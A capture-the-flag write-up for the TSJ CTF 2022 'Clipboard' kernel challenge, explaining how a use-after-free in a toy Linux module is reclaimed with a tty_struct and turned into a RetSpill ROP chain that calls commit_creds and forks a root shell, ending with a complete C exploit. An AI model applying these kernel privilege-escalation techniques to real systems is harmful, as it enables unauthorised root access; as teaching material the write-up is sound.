Turning a tty_struct use-after-free into a RetSpill kernel ROP Chain

The Clipboard challenge from TSJ CTF 2022 exposes a small Linux kernel module with one global heap pointer. Opening the device twice and closing one descriptor leaves the global pointer dangling. I reclaim the freed kmalloc-1k object with a tty_struct, leak the kernel and heap addresses, and replace tty->ops with a fake operation table.

That first part is a familiar tty_struct UAF pattern. I covered the reclaim, the ptm_unix98_ops leak, fake tty_operations, and the /dev/ptmx trigger in detail in my earlier tty_struct UAF write-up. Here I will go through it quickly and focus on the new part: using RetSpill to turn registers saved in pt_regs into a kernel ROP chain.

The final chain is:

open /dev/clipboard twice
    -> close the second descriptor and free the global 0x400-byte object
    -> reclaim it with a tty_struct allocated by opening /dev/ptmx
    -> stale read leaks ptm_unix98_ops and a tty self-pointer
    -> stale write installs the needed fake tty_operations entries at tty + 0x3c0
    -> syscall entry saves controlled registers in pt_regs
    -> fake ops->close executes ret 0x118
    -> tty_release continues with RSP moved onto pt_regs
    -> fake ops->shutdown skips exactly 0x40 bytes to saved R15
    -> spilled registers become a ROP chain
    -> commit_creds(&init_cred)
    -> __x64_sys_fork creates a root child
    -> msleep parks the corrupted parent path in this build
    -> child returns to userspace and opens a root shell

1. Challenge setup

The launcher enables SMEP and SMAP:

-cpu qemu64,+smep,+smap
-append "console=ttyS0 oops=panic panic=1 quiet"

The original launcher does not explicitly pass nokaslr. In myy local GDB launcher I did add it to keep addresses stable while deriving the chain, to recognize patterns instead of extra debugging all the time.

The module exposes:

/dev/clipboard

The userspace request is:

typedef struct query {
    pid_t pid;
    unsigned short length;
    char data[0x400];
} Query;

Two ioctls copy up to 0x400 bytes through the global pointer:

#define CMD_READ  0x4000
#define CMD_WRITE 0x4001

2. The UAF and why /dev/ptmx is useful

The bug is caused by one pointer shared by every open file:

char *clipboard_data;

int clipboard_open(struct inode *inode, struct file *file)
{
    clipboard_data = kmalloc(0x400, GFP_KERNEL);
    if (!clipboard_data)
        return -1;
    memset(clipboard_data, 0, 0x400);
    return 0;
}

int clipboard_release(struct inode *inode, struct file *file)
{
    kfree(clipboard_data);
    return 0;
}

The pointer is overwritten on every open and is not cleared after kfree(). The exploit performs:

int fd1 = open("/dev/clipboard", O_RDWR);  /* allocation A */
int fd2 = open("/dev/clipboard", O_RDWR);  /* allocation B, global now points here */
close(fd2);                                /* free B, global still points to B */

fd1 still reaches the global pointer through ioctl, so it can read and write allocation B after it has been freed.

Opening /dev/ptmx allocates a tty_struct from the same kmalloc-1k cache:

int ptmx = open("/dev/ptmx", O_RDONLY | O_NOCTTY);

After a successful reclaim:

clipboard_data --------|
                       v
                  [ tty_struct ]
                       ^
ptmx file descriptor --|

The stale clipboard ioctls modify the object, while close(ptmx) makes the TTY subsystem call function pointers from that same object. This is why /dev/ptmx is useful bceause it supplies a reclaimable object with a static operations pointer for deriving the kernel image base and callbacks for recovering control flow for RIP.

For the full allocator and object-layout explanation, see From tty_struct UAF to modprobe_path.

3. Leaking the kernel and heap addresses

Reading 0x400 bytes through the dangling pointer discloses the reclaimed tty_struct. In this kernel build, the useful values are:

offset  value                         use
------  ----------------------------  --------------------------------
+0x18   0xffffffff820a9d00            tty->ops = ptm_unix98_ops
+0x40   0xffff8880049c2038            pointer to tty + 0x38

The kernel base is recovered from the known ptm_unix98_ops offset:

uint64_t ops = *(uint64_t *)&buf[0x18];
uint64_t kbase = ops - 0x10a9d00;

The pointer at +0x40 reveals the allocation address:

uint64_t tty_member = *(uint64_t *)&buf[0x40];
uint64_t tty = tty_member - 0x38;

Every static kernel address in the exploit is rebased with:

#define KADDR(address) \
    (kbase + ((address) - 0xffffffff81000000ULL))

At this point the exploit has:

stale read/write over tty_struct
kernel base
tty_struct address

The remaining problem is turning tty->ops control into a useful ROP chain.

4. RetSpill in this challenge

When an x86-64 process enters the kernel with syscall, the entry code switches to the task's kernel stack and constructs struct pt_regs at a predictable location near one end of it.

The important observation is:

attacker controls userspace registers
              |
              v
syscall entry saves them in pt_regs
              |
              v
attacker-controlled 64-bit values now exist on the kernel stack

RetSpill reuses those saved words as ROP data. It avoids spraying a separate kernel ROP stack; the syscall entry code has already placed controlled values on the current kernel stack.

This exploit needs two control-flow steps:

  1. tty_operations->close executes a ret imm16 gadget that moves rsp to pt_regs but returns to the legitimate tty_release continuation.
  2. A later tty_operations->shutdown callback skips to saved r15 and returns into the first real ROP gadget.

5. Mapping pt_regs

The useful start of the x86-64 layout is:

OffsetSaved register
+0x00r15
+0x08r14
+0x10r13
+0x18r12
+0x20rbp
+0x28rbx
+0x30r11
+0x38r10
+0x40r9
+0x48r8
+0x50rax
+0x58rcx
+0x60rdx
+0x68rsi
+0x70rdi
+0x78orig_rax

For a debugger-only layout test, I temporarily replaced the useful register values in the combined syscall block with recognizable markers:

uint64_t values[] = {
    0x4141414141414146, /* r15 */
    0x4141414141414147, /* r14 */
    0x4141414141414148, /* r13 */
    0x4141414141414149, /* r12 */
    0x414141414141414a, /* r10 */
    0x414141414141414b, /* r9  */
    0x414141414141414c, /* r8  */
    (uint64_t)(unsigned int)fd, /* rdi */
};

The pattern to look for, relative to the start of pt_regs, is:

+0x00  0x4141414141414146  0x4141414141414147  <- r15, r14
+0x10  0x4141414141414148  0x4141414141414149  <- r13, r12
+0x20  <saved rbp>         <saved rbx>
+0x30  <user RFLAGS>       0x414141414141414a  <- r11, r10
+0x40  0x414141414141414b  0x414141414141414c  <- r9, r8

rbp and rbx are not loaded by this layout. r11 is also inconvenient because syscall uses it for the userspace flags. I therefore designed the chain to skip those three slots.

6. Keep the register loads and syscall together

My first attempt set r15..r8 in one inline-assembly block, ended that block, and invoked close with a separate C statement. That is not reliable because the compiler can emit more instructions and reuse those registers before the syscall executes. So that didn't worked out for me.

Listing a register as clobbered tells the compiler that its previous value is destroyed; it does not reserve the register forever. The compiler may reuse it immediately after the assembly block. In the failed binary, it generated:

movslq %r12d, %rdi

The low 32 bits of a gadget address became the close file descriptor. The syscall returned -EBADF, and my breakpoint was reached later during process exit rather than during the intended close.

The reliable solution loads every spill register and performs syscall 3 (close) in one assembly block:

static long trigger_close(int fd, uint64_t kbase)
{
    uint64_t values[] = {
        POP_RDI,       /* r15 */
        INIT_CRED,     /* r14 */
        RET_0X18,      /* r13 */
        RET,           /* r12 */
        COMMIT_CREDS,  /* r10 */
        SYS_FORK,      /* r9  */
        MSLEEP,        /* r8  */
        (uint64_t)(unsigned int)fd
    };
    long result;

    asm volatile(
        ".intel_syntax noprefix\n\t"
        "mov rax, %[values]\n\t"
        "mov r15, [rax + 0x00]\n\t"
        "mov r14, [rax + 0x08]\n\t"
        "mov r13, [rax + 0x10]\n\t"
        "mov r12, [rax + 0x18]\n\t"
        "mov r10, [rax + 0x20]\n\t"
        "mov r9,  [rax + 0x28]\n\t"
        "mov r8,  [rax + 0x30]\n\t"
        "mov rdi, [rax + 0x38]\n\t"
        "mov eax, 3\n\t"
        "syscall\n\t"
        ".att_syntax prefix\n\t"
        : "=&a"(result)
        : [values] "r"(values)
        : "rcx", "r11", "rdi", "r8", "r9", "r10",
          "r12", "r13", "r14", "r15", "memory", "cc"
    );

    return result;
}

There is now no compiler-generated instruction between the register loads and syscall.

At the first callback breakpoint, I also checked the syscall number saved in orig_rax:

x/gx $rsp+0x198

It must contain 3:

0xffffc900005cbfd0: 0x0000000000000003

If it contains 0xe7, the breakpoint came from exit_group, not the intended close. That path has a different stack layout and produces the wrong RetSpill offset.

7. Measuring the first callback-to-pt_regs distance

The fake close callback was reached with:

rsp               = 0xffffc900005cbe38
saved pt_regs.r15 = 0xffffc900005cbf58

The distance is:

p/x 0xffffc900005cbf58 - 0xffffc900005cbe38
$ = 0x120

The values can also be inspected relative to callback rsp:

x/4gx $rsp+0x120
x/3gx $rsp+0x158
x/gx  $rsp+0x198
$rsp+0x120  r15, r14, r13, r12
$rsp+0x158  r10, r9, r8
$rsp+0x198  orig_rax

This measurement must be performed on the same direct-close path used by the final exploit.

8. Why the first gadget is ret 0x118

An x86 ret imm16 performs:

RIP = *(uint64_t *)RSP
RSP = RSP + 8 + imm16

The required total movement is 0x120, so:

8 + 0x118 = 0x120

The correct gadget is therefore:

0xffffffff8176bf6f: ret 0x118

It is not ret 0x120: that would move rsp by 0x128 after including the eight-byte return-address pop.

At callback entry, the first stack word is the legitimate return address:

[rsp] = tty_release+0x139

The gadget produces:

before:
    RIP = ret 0x118
    RSP = ...be38

after:
    RIP = tty_release+0x139
    RSP = ...bf58 = &pt_regs.r15

This first gadget changes rsp, but it does not execute the value in r15. The kernel continues through tty_release with the shifted stack pointer. A second controlled callback is needed to return into the spilled values.

9. Building the needed tty_operations prefix

This kernel stores tty->ops at tty + 0x18. The two callbacks used by the exploit are:

ops + 0x20 -> close
ops + 0x28 -> shutdown

The fake table must not overwrite fields that tty_release still needs. An early attempt placed it near tty + 0x30, which put the fake shutdown value at tty + 0x58. That offset contains things needed by tty so the kernel crashed in tty_ldisc_close after interpreting gadget bytes as a structure.

The leaked object showed unused zero-filled tail space, so I placed the prefix of the table needed by this release path at tty + 0x3c0:

#define FAKE_OPS_OFF 0x3c0

*(uint64_t *)&buf[0x18] = tty + FAKE_OPS_OFF;
memset(&buf[FAKE_OPS_OFF], 0, 0x40);

*(uint64_t *)&buf[FAKE_OPS_OFF + 0x20] = RET_0X118;
*(uint64_t *)&buf[FAKE_OPS_OFF + 0x28] = SKIP_TO_R15;

This initialized 0x40-byte prefix occupies tty + 0x3c0..0x3ff, stays inside the reclaimed 0x400-byte allocation, and leaves the live tty_struct fields intact. The complete kernel struct tty_operations is larger; the exploit only needs the entries reached before the second pivot takes control.

At the first breakpoint, the table can be checked with:

set $tty = $rdi
set $ops = *(unsigned long *)($tty+0x18)
p/x $ops
x/4gx $ops+0x18
x/gx $tty+0x58

With the kernel slide disabled in the GDB run, the expected callbacks are:

$ops+0x20  close    = 0xffffffff8176bf6f
$ops+0x28  shutdown = 0xffffffff813312a0

tty+0x58 must remain a normal ffff888... heap pointer, not a kernel gadget address. The exploit writes the rebased KADDR(...) values when a slide is present.

10. Finding the second pivot through shutdown

After the first pivot, tty_release eventually reaches tty_release_struct, which calls the later callback:

mov rax, [rbx+0x18]  ; tty->ops
mov rax, [rax+0x28]  ; ops->shutdown
test rax, rax
je   no_shutdown
mov  rdi, rbx
call __x86_indirect_thunk_rax

At entry to the controlled shutdown callback:

shutdown rsp       = ...bf18
saved pt_regs.r15  = ...bf58
distance           = 0x40

The selected gadget is:

0xffffffff813312a0:
    add rsp, 0x28
    pop rbx
    pop r12
    pop rbp
    ret

Its movement before the final ret is exactly:

add rsp, 0x28 -> +0x28
three pops    -> +0x18
total         -> +0x40

The final ret reads the value stored in saved r15 and leaves rsp pointing to saved r14:

RIP = pt_regs.r15
RSP = &pt_regs.r14

I verified it with:

b *0xffffffff813312a0
b *0xffffffff81b85bb1
c
x/gx $rsp+0x40

At the skip gadget, $rsp+0x40 must contain:

0xffffffff81b85bb1  # pop rdi; ret

Five si commands execute the add, three pops, and final ret. The next breakpoint should be pop rdi; ret with rsp pointing to saved r14.

My earlier four-pop gadget was too short:

pop rbx; pop r12; pop r13; pop rbp; ret

Four pops advance only 0x20 before the final ret. It consumed the word at ...bf38, which happened to contain the tty_struct heap address. The kernel then tried to execute the NX-protected heap page. That crash proved that shutdown was reached, but the skip length was wrong.

11. Building the ROP chain from saved registers

The required symbols and gadgets are:

NameLink-time addressPurpose
POP_RDI0xffffffff81b85bb1pop rdi; ret
INIT_CRED0xffffffff82665c00address of init_cred
RET_0X180xffffffff81a1d6earet 0x18
RET0xffffffff81e022b9plain ret
COMMIT_CREDS0xffffffff810c2d90install credentials
SYS_FORK0xffffffff81092bf0__x64_sys_fork
MSLEEP0xffffffff8112dab0build-specific parent landing

They are placed in pt_regs as follows:

Saved slotValueWhy it is there
r15POP_RDIfirst target of the shutdown pivot
r14INIT_CREDvalue consumed by pop rdi
r13RET_0X18skip over unusable saved slots
r12RETbridge from ret 0x18 to r10
rbpunusedskipped
rbxunusedskipped
r11user flagsskipped
r10COMMIT_CREDSfirst kernel function
r9SYS_FORKcreate a root child
r8MSLEEPpark the parent in this build

The exact ROP chain is now:

shutdown skip gadget
    |
    | ret reads saved r15
    v
pop rdi; ret
    |
    | rdi = saved r14 = &init_cred
    | ret reads saved r13
    v
ret 0x18
    |
    | pop saved r12 into rip: plain ret
    | skip saved rbp, rbx, and r11
    | rsp now points to saved r10
    v
plain ret
    |
    | ret reads saved r10
    v
commit_creds(&init_cred)
    |
    | function return reads saved r9
    v
__x64_sys_fork
    |
    | parent return reads saved r8
    v
msleep

The plain ret in r12 is a bridge. ret 0x18 must get its immediate target from r12, but the useful function pointer is after the three skipped slots in r10. Returning through a plain ret fetches COMMIT_CREDS from r10.

12. Why fork and msleep finish the exploit

commit_creds(&init_cred) changes the credentials of the current task, but the kernel is still executing on a deliberately corrupted return path. Trying to unwind the rest of tty_release normally would eventually use uncontrolled stack words.

Calling __x64_sys_fork after changing the credentials creates a child that inherits the root credentials. On this kernel, x86 copy_thread() copies current_pt_regs() into the child's frame and sets the child's saved rax to zero. The child therefore starts through the normal ret_from_fork/syscall exit path and continues after the syscall instruction in trigger_close(); it does not unwind the parent's ROP stack.

The parent remains on the RetSpill path and returns from __x64_sys_fork into the value stored in saved r8, which is msleep here. In this exact build it stays parked long enough for the child to continue. This is not a portable RetSpill epilogue: the chain does not load a fresh millisecond argument into rdi, and rdi is caller-saved across __x64_sys_fork. A reusable chain should explicitly set the argument or end in a non-returning kernel path. The child reaches:

if (getuid() == 0)
    execl("/bin/sh", "sh", NULL);

This is why the chain does not need a hand-built swapgs; iretq frame. The forked child provides the clean return to userspace.

13. Reading the failed attempts

The failures were useful because each one identified a different bad assumption:

SymptomMeaningFix
orig_rax == 0xe7callback came from process exit, not explicit closeload registers and issue syscall in one assembly block
target reaches the inaccessible next stack pagefirst ret imm16 is too largemeasure the direct-close stack layout again
crash in tty_ldisc_close using gadget bytes as a pointerfake ops overlaps live tty_struct fieldsmove fake ops to tty+0x3c0
NX fault at the tty_struct heap address after shutdownsecond pivot returned through an earlier heap-valued slotskip exactly 0x40 to saved r15
x/i $rsp+offset prints nonsenseGDB is disassembling stack bytes, not the pointer stored thereinspect with x/gx, then dereference for x/i

The correct way to inspect a spilled gadget is:

x/gx $rsp+0x120
x/2i *(unsigned long *)($rsp+0x120)

14. End-to-end control flow

The two measured distances explain the final exploit:

First callback:

close callback RSP -> pt_regs.r15 = 0x120 bytes
ret 0x118 movement                 = 8 + 0x118 = 0x120

Second callback:

shutdown callback RSP -> r15      = 0x40 bytes
add rsp,0x28 + three pops          = 0x28 + 0x18 = 0x40

The complete state transition is:

userspace
    |
    | r15 = pop_rdi
    | r14 = init_cred
    | r13 = ret_0x18
    | r12 = ret
    | r10 = commit_creds
    | r9  = __x64_sys_fork
    | r8  = msleep (build-specific parent landing)
    | syscall(__NR_close, ptmx)
    v
kernel pt_regs
    |
    | tty->ops->close
    v
ret 0x118
    |
    | return to tty_release, move rsp to &pt_regs.r15
    v
tty->ops->shutdown
    |
    | exact 0x40-byte skip
    v
pt_regs ROP chain
    |
    v
commit_creds(&init_cred) -> fork -> root child -> normal syscall exit -> shell

15. Full exploit

#define _GNU_SOURCE

#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <unistd.h>

#define CMD_READ     0x4000
#define CMD_WRITE    0x4001
#define DATA_SIZE    0x400
#define FAKE_OPS_OFF 0x3c0

#define KADDR(address) (kbase + ((address) - 0xffffffff81000000ULL))

#define INIT_CRED    KADDR(0xffffffff82665c00ULL)
#define COMMIT_CREDS KADDR(0xffffffff810c2d90ULL)
#define POP_RDI      KADDR(0xffffffff81b85bb1ULL)
#define RET           KADDR(0xffffffff81e022b9ULL)
#define RET_0X18      KADDR(0xffffffff81a1d6eaULL)
#define SYS_FORK      KADDR(0xffffffff81092bf0ULL)
#define MSLEEP        KADDR(0xffffffff8112dab0ULL)
#define RET_0X118     KADDR(0xffffffff8176bf6fULL)
#define SKIP_TO_R15   KADDR(0xffffffff813312a0ULL)

typedef struct query {
    pid_t pid;
    unsigned short length;
    char data[DATA_SIZE];
} Query;

static void die(const char *message)
{
    perror(message);
    exit(EXIT_FAILURE);
}

static void pin_to_cpu0(void)
{
    cpu_set_t cpus;

    CPU_ZERO(&cpus);
    CPU_SET(0, &cpus);
    if (sched_setaffinity(0, sizeof(cpus), &cpus) == -1)
        die("sched_setaffinity");
}

static int clipboard_read(int fd, void *output)
{
    Query request = {
        .pid = getpid(),
        .length = DATA_SIZE,
    };

    int result = ioctl(fd, CMD_READ, &request);
    if (result < 0)
        return result;

    memcpy(output, request.data, DATA_SIZE);
    return result;
}

static int clipboard_write(int fd, const void *input)
{
    Query request = {
        .pid = getpid(),
        .length = DATA_SIZE,
    };

    memcpy(request.data, input, DATA_SIZE);
    return ioctl(fd, CMD_WRITE, &request);
}

static long trigger_close(int fd, uint64_t kbase)
{
    uint64_t values[] = {
        POP_RDI,       /* r15 */
        INIT_CRED,     /* r14 */
        RET_0X18,      /* r13 */
        RET,           /* r12 */
        COMMIT_CREDS,  /* r10 */
        SYS_FORK,      /* r9  */
        MSLEEP,        /* r8  */
        (uint64_t)(unsigned int)fd,
    };
    long result;

    asm volatile(
        ".intel_syntax noprefix\n\t"
        "mov rax, %[values]\n\t"
        "mov r15, [rax + 0x00]\n\t"
        "mov r14, [rax + 0x08]\n\t"
        "mov r13, [rax + 0x10]\n\t"
        "mov r12, [rax + 0x18]\n\t"
        "mov r10, [rax + 0x20]\n\t"
        "mov r9,  [rax + 0x28]\n\t"
        "mov r8,  [rax + 0x30]\n\t"
        "mov rdi, [rax + 0x38]\n\t"
        "mov eax, 3\n\t"
        "syscall\n\t"
        ".att_syntax prefix\n\t"
        : "=&a"(result)
        : [values] "r"(values)
        : "rcx", "r11", "rdi", "r8", "r9", "r10",
          "r12", "r13", "r14", "r15", "memory", "cc"
    );

    return result;
}

int main(void)
{
    pin_to_cpu0();

    int fd1 = open("/dev/clipboard", O_RDWR);
    int fd2 = open("/dev/clipboard", O_RDWR);
    if (fd1 == -1 || fd2 == -1)
        die("/dev/clipboard");

    if (close(fd2) == -1)
        die("close clipboard");

    int ptmx = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    if (ptmx == -1)
        die("/dev/ptmx");

    uint8_t buffer[DATA_SIZE] = {0};
    if (clipboard_read(fd1, buffer) < 0)
        die("CMD_READ");

    uint64_t ops = *(uint64_t *)&buffer[0x18];
    uint64_t kbase = ops - 0x10a9d00;

    uint64_t tty_member = *(uint64_t *)&buffer[0x40];
    uint64_t tty = tty_member - 0x38;

    printf("[+] tty->ops: 0x%016" PRIx64 "\n", ops);
    printf("[+] kbase:    0x%016" PRIx64 "\n", kbase);
    printf("[+] tty:      0x%016" PRIx64 "\n", tty);

    *(uint64_t *)&buffer[0x18] = tty + FAKE_OPS_OFF;
    memset(&buffer[FAKE_OPS_OFF], 0, 0x40);

    *(uint64_t *)&buffer[FAKE_OPS_OFF + 0x20] = RET_0X118;
    *(uint64_t *)&buffer[FAKE_OPS_OFF + 0x28] = SKIP_TO_R15;

    if (clipboard_write(fd1, buffer) < 0)
        die("CMD_WRITE");

    long result = trigger_close(ptmx, kbase);

    if (getuid() == 0) {
        puts("[+] root child returned to userspace");
        execl("/bin/sh", "sh", NULL);
        die("execl");
    }

    fprintf(stderr, "[-] close returned unexpectedly: %ld\n", result);
    for (;;)
        pause();
}

solve

References